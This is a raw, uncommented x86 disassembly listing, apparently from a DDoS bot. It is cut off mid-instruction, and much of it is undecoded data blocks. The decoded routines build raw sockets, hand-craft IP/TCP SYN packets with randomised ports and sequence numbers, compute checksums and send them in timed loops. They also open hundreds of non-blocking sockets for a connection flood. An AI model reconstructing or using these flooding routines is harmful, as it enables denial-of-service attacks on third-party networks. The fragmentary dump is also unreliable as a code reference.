0F759990Ah dd 0D87D39F9h, 75D04589h, 0D8758903h, 7D39F633h, 0E81A7ED4h dd 7FC6h, 0FFB999h, 0F9F70000h, 0D4753B46h, 0EF359488h dd 7CFFFEFCh, 0D0458BE6h, 85D04DFFh, 6A557EC0h, 458D5E0Bh dd 50106AF0h, 7F98E857h, 0A6A0000h, 0F9F75999h, 2BD4458Bh dd 858D50C2h, 0FFFEFCF0h, 15FF5350h, 4C9368h, 90D875FFh dd 26C42EE8h, 0CE754E02h, 75DC7D39h, 7F68E8BCh, 0B9990000h dd 0FFDCh, 5242F9F7h, 930415FFh, 8966004Ch, 0A1EBF245h dd 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h, 726C68FFh, 0E8500043h dd 7EDEh, 390CC483h, 2075E87Dh, 0CC858D57h, 0FFFFFFFCh dd 8D50E475h, 0FFFED085h, 0B5FF50FFh, 0FFFFFECCh, 0FF5715E8h dd 14C483FFh, 0FCCC858Dh, 0E850FFFFh, 1B92h, 0E8E075FFh dd 0FFFF7565h, 90575959h, 2DBE93E8h db 2 byte_41416D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+4D0Fo dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h dd 858D50FFh, 0FFFFFDF0h, 11DE850h, 8D500000h, 0FFFBEC85h dd 72C068FFh, 0E8500043h, 7E46h, 0C483F633h, 0F8753918h dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 7BE8FFFFh, 83FFFF56h, 858D14C4h, 0FFFFFBECh dd 1AF8E850h, 75FF0000h, 74CBE8F0h, 5959FFFFh, 0BDFAE856h dd 5F90022Dh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414209 proc near ; CODE XREF: ___:004142F2p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4C9304 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_4142C7 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_414254: ; CODE XREF: sub_414209+B9j lea esi, [ebp+var_654] mov ebx, edi loc_41425C: ; CODE XREF: sub_414209+7Aj push 0 push 1 push 2 call near ptr 71AB3C22h nop cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41427F lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_41427F: ; CODE XREF: sub_414209+64j add esi, 4 dec ebx jnz short loc_41425C lea esi, [ebp+var_654] mov ebx, edi loc_41428D: ; CODE XREF: sub_414209+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_41428D push 64h nop call near ptr 268051Bh lea esi, [ebp+var_654] mov ebx, edi loc_4142B1: ; CODE XREF: sub_414209+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_4142B1 dec [ebp+arg_4] jnz short loc_414254 pop edi pop esi pop ebx loc_4142C7: ; CODE XREF: sub_414209+3Ej xor eax, eax leave retn sub_414209 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8E4 push dword ptr [esp+18h] mov edi, eax call sub_41BEF9 push dword ptr [esp+20h] mov ebx, eax call sub_41BEF9 mov esi, eax push esi push ebx push edi call sub_414209 add esp, 18h test eax, eax jnz short loc_414301 push 1 pop eax loc_414301: ; CODE XREF: ___:004142FCj cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_414310 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401AC7+63A9o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 30DE8h dd 858D5000h, 0FFFFFBECh, 4372EC68h, 0A3E85000h, 3300007Ch dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 54D8E8FFh, 0C483FFFFh dd 0EC858D14h, 50FFFFFBh, 1955E8h, 0F075FF00h, 0FF7328E8h dd 565959FFh, 0BC56E890h, 5E5F022Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143AC proc near ; CODE XREF: ___:0041469Ap var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4C9274 test eax, eax jz short loc_4143EC xor eax, eax jmp loc_41465A ; --------------------------------------------------------------------------- loc_4143EC: ; CODE XREF: sub_4143AC+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4C93A8 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_414652 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4C92E4 cmp eax, 0FFFFFFFFh jz loc_414648 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4C9304 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4C9304 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4C9304 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4C9304 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call near ptr 27A0486h nop lea eax, [ebp+var_8] push eax call near ptr 27A018Bh nop push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DA20 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_4144D7: ; CODE XREF: sub_4143AC+25Dj ; sub_4143AC+26Bj mov [ebp+var_24], bx call sub_41C062 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4C9304 mov [ebp+var_34], ax call sub_41C062 mov edi, eax shl edi, 10h call sub_41C062 or edi, eax push edi call dword_4C9304 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4C9300 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4C9304 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41CAB0 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA53 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41CAB0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BD10 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA53 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4C9368 cmp eax, 0FFFFFFFFh jz short loc_41461C add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27A018Bh mov eax, [ebp+var_4] cmp eax, esi jg short loc_414645 jl loc_4144D7 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414645 jmp loc_4144D7 ; --------------------------------------------------------------------------- loc_41461C: ; CODE XREF: sub_4143AC+247j call dword_4C9298 push eax lea eax, [ebp+var_F4] push offset dword_437314 push eax call sub_41C006 lea eax, [ebp+var_F4] push eax call sub_415CEE add esp, 10h jmp short loc_414648 ; --------------------------------------------------------------------------- loc_414645: ; CODE XREF: sub_4143AC+25Bj ; sub_4143AC+269j mov ebx, [ebp+arg_8] loc_414648: ; CODE XREF: sub_4143AC+78j ; sub_4143AC+297j push [ebp+var_C] call dword_4C939C pop esi loc_414652: ; CODE XREF: sub_4143AC+5Bj call dword_4C925C mov eax, ebx loc_41465A: ; CODE XREF: sub_4143AC+3Bj pop edi pop ebx leave retn sub_4143AC endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8E4 push dword ptr [esp+18h] mov esi, eax call sub_41BEF9 push dword ptr [esp+20h] mov ebx, eax call sub_41BEF9 mov edi, eax call sub_41C062 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4143AC add esp, 1Ch test eax, eax jnz short loc_4146A9 push 1 pop eax loc_4146A9: ; CODE XREF: ___:004146A4j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4146B8 dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh ; DATA XREF: sub_401AC7+6D33o dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7810E8h dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4C9344h, 5BE850h dd 8D500000h, 0FFFC6C85h, 733468FFh, 0E8500043h, 78F6h dd 0C483F633h, 0F8753914h, 8D562075h, 0FFFC6C85h, 0F475FFFFh dd 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 2BE8FFFFh, 83FFFF51h dd 858D14C4h, 0FFFFFC6Ch, 15A8E850h, 75FF0000h, 6F7BE8F0h dd 5959FFFFh, 0A9E89056h, 5F022DB8h, 0EC8B555Eh, 98EC81h dd 56530000h, 59016A57h, 0FF78A583h, 6A00FFFFh, 0A8658304h dd 0FFBB5E00h, 6A000000h, 5AC03306h, 89AC7D8Dh, 0FFFF7C8Dh dd 8045C7FFh, 2, 89847589h, 45C78855h, 88Ch, 9045C700h dd 0Ch, 119445C7h, 0C7000000h, 169845h, 45C70000h, 299Ch dd 0A045C700h, 3Ah, 89A45D89h, 8DABB045h, 4589D47Dh, 0B84589B4h dd 0BC45C7h, 89000020h, 5589C075h, 0C845C7C4h, 3FFFh, 89CC4D89h dd 4D89D045h, 0BFABD8h, 57000001h, 8F3CE8h, 45895900h dd 0FF5057FCh, 4C931815h, 0FC75FF00h, 938815FFh, 408B004Ch dd 36A530Ch, 8B026Ah, 4589008Bh, 8415FFF4h, 8D004C93h dd 5156D84Dh, 6A026Ah, 0FC458950h, 92E415FFh, 0BE004Ch dd 56000002h, 745AE8h, 0B83D8B00h, 59004270h, 0FFF84589h dd 0F04589D7h, 6808458Bh, 29Ah, 0FF6C8589h, 0C766FFFFh dd 0FFFF6885h, 0FF0002FFh, 4C930415h, 85896600h, 0FFFFFF6Ah dd 452BD7FFh, 0B9D233F0h, 3E8h, 453BF1F7h, 0CF870F0Ch dd 0E8000000h, 77D2h, 0F7CB8B99h, 0F4458BF9h, 0FFFFFF25h dd 18E2C100h, 5589D00Bh, 77B8E8F4h, 8B990000h, 89F9F7CBh dd 0ABE8AC55h, 99000077h, 1FA4B9h, 0DC45C600h, 0C6F9F745h dd 8904DD45h, 93E8D455h, 66000077h, 0E8E04589h, 778Ah dd 59990A6Ah, 8B66F9F7h, 50B09544h, 930415FFh, 6656004Ch dd 0FFE24589h, 4C930415h, 45896600h, 0E45D88DEh, 7761E8h dd 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h, 8BE54588h dd 4589F445h, 8458BE8h, 8DEC4589h, 0E850DC45h, 0FFFF612Bh dd 0E6458966h, 6ADC458Dh, 75FF5014h, 8176E8F8h, 0C4830000h dd 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h, 0FFFC75FFh dd 4C936815h, 0FF1AE900h, 75FFFFFFh, 70CFE8F8h, 0FF590000h dd 15FFFC75h, 4C939Ch, 5F58016Ah, 0C3C95B5Eh dword_414974 dd 81EC8B55h, 440ECh, 8458B00h, 6A575653h, 59F08B68h, 0FDC0BD8Dh ; DATA XREF: sub_401AC7+534Ao dd 0A5F3FFFFh, 0DB33016Ah, 61BD8D5Eh, 6AFFFFFFh, 9CB0890Eh dd 59000001h, 9D88C033h, 0FFFFFF60h, 0AB66ABF3h, 0B83D8BAAh dd 0FF004270h, 99E850D7h, 59000076h, 0FF68h, 6A036A00h dd 8415FF02h, 83004C93h, 4589FFF8h, 0FF6675FCh, 4C929815h dd 858D5000h, 0FFFFFBC0h, 43744C68h, 17E85000h, 83000076h dd 9D390CC4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h, 54B5FFFFh dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 4E48E8FFh dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 12C5E8h, 44B5FF00h dd 0E8FFFFFFh, 0FFFF6C95h, 0E8535959h, 22DB5C4h, 0CC4D8D90h dd 6A51046Ah, 89505302h, 15FFCC75h, 4C92E4h, 75FFF883h dd 9815FF66h, 50004C92h, 0FBC0858Dh, 1468FFFFh, 50004374h dd 7599E8h, 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h dd 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h dd 0E8FFFFFDh, 0FFFF4DCAh, 8D14C483h, 0FFFBC085h, 47E850FFh dd 0FF000012h, 0FFFF44B5h, 6C17E8FFh, 5959FFFFh, 45E89053h dd 8D022DB5h, 0FFFDC485h, 15FF50FFh, 4C9344h, 75FFF883h dd 0C0858D5Eh, 68FFFFFBh, 4373F4h, 7528E850h, 9D390000h dd 0FFFFFF58h, 23755959h, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4D5Ah dd 8D14C483h, 0FFFBC085h, 0D7E850FFh, 0FF000011h, 0FFFF44B5h dd 6BA7E8FFh, 5959FFFFh, 0D5E89053h, 6A022DB4h, 0BC458D10h dd 0D9E85053h, 83000071h, 0C7660CC4h, 2BC45h, 415FF53h dd 66004C93h, 8DBE4589h, 0FFFDC485h, 15FF50FFh, 4C9344h dd 89C04589h, 0D7FF085Dh, 0FFD04589h, 0D0452BD7h, 0E8B9D233h dd 0F7000003h, 4C853BF1h, 0FFFFFFFh, 2AA87h, 0C6286A00h dd 0FF45D445h, 4C930415h, 509D3900h, 66FFFFFFh, 66D64589h dd 66D87589h, 0C6DA5D89h, 0C680DC45h, 6606DD45h, 74DE5D89h dd 74B4E82Dh, 0F08B0000h, 0E808E6C1h, 74AAh, 0E6C1F003h dd 74A0E808h, 0F0030000h, 0E808E6C1h, 7496h, 16AF003h dd 5EE07589h, 0B5FF16EBh, 0FFFFFDC0h, 0FF5E19E8h, 0FF5059FFh dd 4C934415h, 0E0458900h, 39C0458Bh, 0FFFF489Dh, 0E44589FFh dd 63E81075h, 99000074h, 401B9h, 52F9F700h, 0B5FF06EBh dd 0FFFFFF48h, 930415FFh, 8966004Ch, 43E8EA45h, 99000074h dd 401B9h, 52F9F700h, 930415FFh, 7868004Ch, 66123456h dd 0FFE84589h, 4C930015h, 0EC458900h, 0FE44858Dh, 0D068FFFFh dd 500042B0h, 742FE8h, 0C0855900h, 89097459h, 45C6F05Dh dd 5CEB02F5h, 0FE44858Dh, 0EC68FFFFh, 500042AEh, 740FE8h dd 0C0855900h, 89097459h, 45C6F05Dh, 3CEB10F5h, 0FE44858Dh dd 0E468FFFFh, 500042AEh, 73EFE8h, 0C0855900h, 0E8257459h dd 73C6h, 5999036Ah, 5589F9F7h, 73B8E8F0h, 26A0000h, 0F9F75999h dd 0D21ADAF7h, 20EE280h, 0F55588D1h, 20068h, 0F445C600h dd 415FF50h, 66004C93h, 8BF64589h, 4589E045h, 0E4458B9Ch dd 8966146Ah, 8966FA5Dh, 4589F85Dh, 0A45D88A0h, 6A545C6h dd 930415FFh, 8966004Ch, 458DA645h, 50206A9Ch, 0FF60858Dh dd 0E850FFFFh, 7DA8h, 6AE8458Dh, 458D5014h, 99E85080h dd 8D00007Dh, 0FFFF6085h, 50346AFFh, 0FF5D2EE8h, 458966FFh dd 0D4458DF8h, 8D50146Ah, 0FFFF6085h, 75E850FFh, 8D00007Dh dd 146AE845h, 74858D50h, 50FFFFFFh, 7D63E8h, 8D046A00h dd 50538845h, 6FB7E8h, 44C48300h, 0FF60858Dh, 286AFFFFh dd 5CE9E850h, 8966FFFFh, 458DDE45h, 50146AD4h, 0FF60858Dh dd 0E850FFFFh, 7D30h, 8D14C483h, 106ABC45h, 858D5350h dd 0FFFFFF60h, 0FF503C6Ah, 15FFFC75h, 4C9368h, 74FFF883h dd 845FF08h, 0FFFDBAE9h, 0FC75FFFFh, 939C15FFh, 15FF004Ch dd 4C9298h, 0C4858D50h, 0FFFFFFFDh, 68500875h, 4373A4h dd 0FBC0858Dh, 68FFFFh, 50000002h, 7327E8h, 18C48300h dd 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4A5Eh dd 8D14C483h, 0FFFBC085h, 0DBE850FFh, 0FF00000Eh, 0FFFF44B5h dd 68ABE8FFh, 5959FFFFh, 0D9E89053h, 0FF022DB1h, 15FFFC75h dd 4C939Ch, 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah dd 0C1FFFFFFh, 505114E9h, 0FDC4858Dh, 75FFFFFFh, 858D5008h dd 0FFFFFE44h, 0C0858D50h, 68FFFFFBh, 437354h, 719CE850h dd 0C4830000h, 589D391Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h dd 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h dd 0FF49CDE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 0E4Ah dd 0FF44B5FFh, 1AE8FFFFh, 59FFFF68h, 49E85359h, 90022DB1h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_414EE4 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414ED6: ; CODE XREF: ___:00414EDEj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414ED6 pop edi cmp eax, 1 loc_414EE4: ; CODE XREF: ___:00414ECAj jnz short loc_414EF1 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_414EF1: ; CODE XREF: ___:loc_414EE4j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- word_414F0A dw 8B55h ; DATA XREF: sub_401AC7+6C61o dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h dd 0BEE850FFh, 5900006Fh, 70858D50h, 50FFFFFEh, 934415FFh dd 8D50004Ch, 0FFFE6CB5h, 94EC81FFh, 6A000001h, 0FC8B5965h dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 8068FFFFh, 50004374h dd 7091E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0C3E8FFFFh dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D40E850h, 75FF0000h dd 6713E8F0h, 5959FFFFh, 41E89056h, 55022DB0h, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270B8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 938415FFh, 4589004Ch, 50D6FFF8h dd 7063E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7DE8h, 50595900h dd 50D8458Dh, 6CFFE8h, 0CC48300h, 5A0BEh, 0AE89000h, 2B0228B7h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C0870F00h, 39000001h dd 4CCAC01Dh, 6A577500h, 45895810h, 458D50ECh, 0E8505398h dd 6CC0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4C92A8h, 0FF68h, 0E8016A00h, 3B12h, 45B60F50h, 0B60F509Eh dd 0F509D45h, 509C45B6h, 0FF34858Dh, 1068FFFFh, 500042D9h dd 6F75E8h, 20C48300h, 858D13EBh, 0FFFFFF34h, 4CC4A068h dd 79E85000h, 59000075h, 34858D59h, 50FFFFFFh, 934415FFh dd 4589004Ch, 0A8458BF4h, 0C564524h, 0AC45C645h, 0A8458910h dd 930415FFh, 8966004Ch, 8BE8AE45h, 6600006Fh, 8BB04589h dd 4589F445h, 9C858BB8h, 66000001h, 40B245C7h, 0B445C600h dd 0B545C640h, 5D896606h, 0BC4589B6h, 6F61E8h, 45896600h dd 6F58E8C0h, 89660000h, 4FE8C245h, 8900006Fh, 47E8C445h dd 8900006Fh, 458BC845h, 502566CCh, 0C146AFFh, 0CE45C650h dd 45896618h, 458B66CCh, 458966C2h, 0BC458B8Ah, 8D8C4589h dd 6650A845h, 7DD045C7h, 5D896678h, 5D8966D2h, 45C766D4h dd 0E8000288h, 0FFFFFD5Ch, 0B6458966h, 6AA8458Dh, 4DE85028h dd 8BFFFFFDh, 0C483B845h, 54858910h, 8BFFFFFFh, 8C68BC45h dd 89000005h, 0FFFF5885h, 5C9D88FFh, 0C6FFFFFFh, 0FFFF5D85h dd 0E89006FFh, 7169C5AEh, 5E858966h, 8DFFFFFFh, 0FFFF6085h dd 50146AFFh, 50C0458Dh, 78FFE8h, 74858D00h, 57FFFFFFh dd 0D8458D50h, 78EEE850h, 858D0000h, 0FFFFFF54h, 59868h dd 0E5E85000h, 83FFFFFCh, 896620C4h, 106AD245h, 5088458Dh dd 0A8458D53h, 75FF5056h, 6815FFF8h, 0FF004C93h, 22E9FC45h dd 0FFFFFFFEh, 15FFF875h, 4C939Ch, 5FFC458Bh, 0C3C95B5Eh dword_415208 dd 81EC8B55h, 414ECh, 8558B00h, 85B856h, 8B570000h, 8DF28BC8h ; DATA XREF: sub_401AC7+4BE2o dd 0FFFDECBDh, 14EC81FFh, 0F3000002h, 8DC88BA5h, 0FFFDECB5h dd 0C7FC8BFFh, 21082h, 100h, 0E8A5F300h, 36h, 0EC858D50h dd 68FFFFFBh, 4374B4h, 6DACE850h, 0C4810000h, 220h, 0FBEC858Dh dd 0E850FFFFh, 0A82h, 0E8F075FFh, 0FFFF6455h, 6A5959h dd 0AD82E890h, 8B55022Dh, 54EC81ECh, 53000002h, 0FFBB56h dd 53570000h, 26A036Ah, 938415FFh, 0F883004Ch, 0F44589FFh dd 858D1A75h, 0FFFFFDACh, 4376A468h, 53E85000h, 5900006Dh dd 0E959FF33h, 2C6h, 6AEC4D8Dh, 0FF335104h, 5057026Ah dd 1EC45C7h, 0FF000000h, 4C92E415h, 0FFF88300h, 15FF0E75h dd 4C9298h, 76546850h, 1BEB0043h, 500C458Dh, 934415FFh dd 0F883004Ch, 0FF2075FFh, 4C929815h, 10685000h, 8D004376h dd 0FFFDAC85h, 0F7E850FFh, 8300006Ch, 6BE90CC4h, 57000002h dd 0DC45C766h, 15FF0002h, 4C9304h, 0DE458966h, 500C458Dh dd 69BFC7E8h, 358B9071h, 4270B8h, 0FFE04589h, 0F84589D6h dd 500C458Dh, 0FDAC858Dh, 0E468FFFFh, 50004375h, 6CB1E8h dd 0CC48300h, 214BD39h, 20750000h, 0AC858D57h, 0FFFFFFFDh dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF44E5E8h, 14C483FFh dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h dd 10C85h, 5AE85000h, 3B00006Bh, 870F59F0h, 191h, 41CBEh dd 0BB05EB00h, 0FFh, 0CAC03D39h, 5075004Ch, 8958106Ah dd 8D50F045h, 5057CC45h, 6943E8h, 0CC48300h, 50F0458Dh dd 50CC458Dh, 0FF0875FFh, 4C92A815h, 16A5300h, 3799E8h dd 0B60F5000h, 0F50D245h, 50D145B6h, 0D045B60Fh, 0AC458D50h dd 42D91068h, 0FFE85000h, 8300006Bh, 10EB20C4h, 68AC458Dh dd 4CC4A0h, 7206E850h, 59590000h, 0A005C656h, 45004CC6h dd 930415FFh, 0A366004Ch, 4CC6A2h, 50AC458Dh, 0A405C766h dd 1004CC6h, 3D896600h, 4CC6A6h, 0C6A805C6h, 0C680004Ch dd 4CC6A905h, 89661100h, 4CC6AA3Dh, 4415FF00h, 0A3004C93h dd 4CC6ACh, 0A3E0458Bh, 4CC6B0h, 8C858Dh, 66500000h, 0C6BA3D89h dd 7AE8004Ch, 8500006Ah, 107559C0h, 6BD9E8h, 1B99900h dd 0F7000004h, 0EEB52F9h, 8C858Dh, 0E8500000h, 6A59h, 15FF5059h dd 4C9304h, 0C6B6A366h, 0AFE8004Ch, 9900006Bh, 401B9h dd 4086800h, 0F9F70000h, 0B4158966h, 0FF004CC6h, 4C930415h dd 4006800h, 0A3660000h, 4CC6B8h, 6B85E8h, 0FBF79900h dd 0C6BC6852h, 25E8004Ch, 83000068h, 458D0CC4h, 50106ADCh dd 0A0685657h, 0FF004CC6h, 15FFF475h, 4C9368h, 0FFFF883h dd 0A484h, 0FC45FF00h, 0B213E890h, 452B0228h, 0B9D233F8h dd 3E8h, 0D88BF1F7h, 10C858Dh, 0E8500000h, 69C9h, 0F59D83Bh dd 0FFFE7686h, 0F475FFFFh, 939C15FFh, 758B004Ch, 0C858DFCh dd 50000001h, 41CF669h, 0A2E80000h, 8B000069h, 0C1C68BC8h dd 0D2330AE8h, 0EEC1F1F7h, 0FF565014h, 458DFC75h, 858D500Ch dd 0FFFFFDACh, 43758068h, 87E85000h, 8300006Ah, 0BD391CC4h dd 214h, 8D572075h, 0FFFDAC85h, 10B5FFFFh, 50000002h, 18C858Dh dd 0FF500000h, 0BBE80875h, 83FFFF42h, 5E5F14C4h, 0C95BC033h dd 0FC75FFC3h, 9815FF56h, 50004C92h, 500C458Dh, 0FDAC858Dh dd 0F468FFFFh, 50004374h, 6A35E8h, 18C48300h db 0EBh, 0ACh word_4155D6 dw 8B55h ; DATA XREF: sub_401AC7+62C1o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 68F0E8h dd 8D505900h, 0FFFE7085h, 0E2E850FFh, 59000068h, 0F0858D50h dd 50FFFFFDh, 934415FFh, 0E850004Ch, 144h, 0EC858D50h dd 68FFFFFBh, 4376D0h, 69C8E850h, 0F6330000h, 3918C483h dd 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h, 0FFFF7085h dd 0B5FF50FFh, 0FFFFFDECh, 0FF41FDE8h, 14C483FFh, 0FBEC858Dh dd 0E850FFFFh, 67Ah, 0E8F075FFh, 0FFFF604Dh, 90565959h dd 2DA97BE8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 